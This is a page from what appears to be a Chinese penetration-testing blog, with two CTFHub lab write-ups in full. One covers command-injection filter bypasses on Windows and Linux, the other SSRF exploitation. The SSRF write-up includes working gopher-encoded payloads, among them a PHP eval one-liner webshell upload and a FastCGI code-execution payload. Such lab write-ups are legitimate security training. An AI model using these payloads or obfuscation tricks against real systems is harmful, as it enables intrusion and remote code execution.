首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,879 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
192
篇与
的结果
2025-05-18
从0-1讲解RCE漏洞绕过,Windows与LinuxRCE漏洞绕过实战解析
从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为CTFhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式Windows我们在Windows命令行中执行命令的时候,是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前,此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在命令中"在^之后,且带有参数,则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令,net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片,代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数,负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令,这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。 &&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如,我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root '',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami:未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号,没有获取到想要的结果,因为&&在前一个命令没有执行结束的时候,是不会执行后面的命令的。当然还有种思路就是指定次数,使用-c参数,这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了,没有flag不断执行命令,找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目:过滤了cat命令之后,你还有什么方法能读到 Flag?查看目录,他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分,默认显示最后10行,与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk命令以类似于cat的方式显示文件内容,同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码,使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload:127.0.0.1&ls<>/var/www/html/经过测试,上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?直接使用ls查看目录,没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可,一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目:过滤了几个运算符, 要怎么绕过呢?分析源码,过滤了运算符,但是也没完全过滤,少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细我的《护网奇遇记》
2025年05月18日
1,224 阅读
0 评论
0 点赞
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,712 阅读
0 评论
0 点赞
2025-05-18
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
